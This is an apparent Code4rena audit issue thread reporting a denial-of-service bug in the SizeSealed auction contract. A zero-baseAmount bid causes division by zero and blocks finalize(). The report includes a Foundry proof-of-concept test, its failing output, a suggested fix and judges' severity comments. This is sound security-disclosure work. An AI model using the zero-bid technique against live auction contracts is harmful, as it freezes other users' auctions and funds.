code423n4 commented 2 years ago

Lines of code

https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L269

Vulnerability details

Impact

After the auction was created, bidders can place a bid with the custom quoteAmount and encrypted baseAmount.

When the seller tries to finalize the auction, it doesn't check if the bidder's baseAmount is greater than zero so that the finalization can be revert with the division by zero.

There is no direct fund loss but I submit as a high risk because all auctions can't be finalized by a malicious bidder.

Proof of Concept

When the seller tries to finalize the auction, it will revert here if a malicious bidder placed a bid with 0 baseAmount.

This is the test to show the scenario.

    function testAuditZeroBase() public {
        // this test will show that a malicious bidder can make this protocol useless by preventing finalization for any auctions
        uint256 aid = seller.createAuction(
            baseToSell, reserveQuotePerBase, minimumBidQuote, startTime, endTime, unlockTime, unlockEnd, cliffPercent
        );

        bidder1.setAuctionId(aid);
        bidder1.bidOnAuctionWithSalt(1 ether, 10 ether, "honest bidder");
        bidder2.setAuctionId(aid);
        bidder2.bidOnAuctionWithSalt(0 ether, 10 ether, "malicious bidder");

        vm.warp(endTime);

        uint256[] memory bidIndices = new uint[](2);
        bidIndices[0] = 0;
        bidIndices[1] = 1;

        // finalization will always fail with arithmetic exception from #L269 because of the malicious bid
        // this means an attacker can make the protocol unfunctional for any auctions
        // note that the attacker can always claim his quote tokens back after auctionEndTime + 24 hours
        seller.finalize(bidIndices, 1, 10);
    }

This is the test result.

    Failing tests:
    Encountered 1 failing test in src/test/SizeSealed.t.sol:SizeSealedTest
    [FAIL. Reason: EvmError: Revert] testAuditZeroBase() (gas: 891783)

Tools Used

Foundry

Recommended Mitigation Steps

We should skip the bidder when the baseAmount == 0 here.

    uint128 baseAmount = uint128(uint256(decryptedMessage >> 128));
    if (baseAmount == 0) continue;

trust1995 commented 2 years ago

Agree that this is a major issue, but since no funds are at risk I think Med might be more appropriate.

c4-judge commented 2 years ago

0xean marked the issue as duplicate

c4-judge commented 1 year ago

0xean marked the issue as satisfactory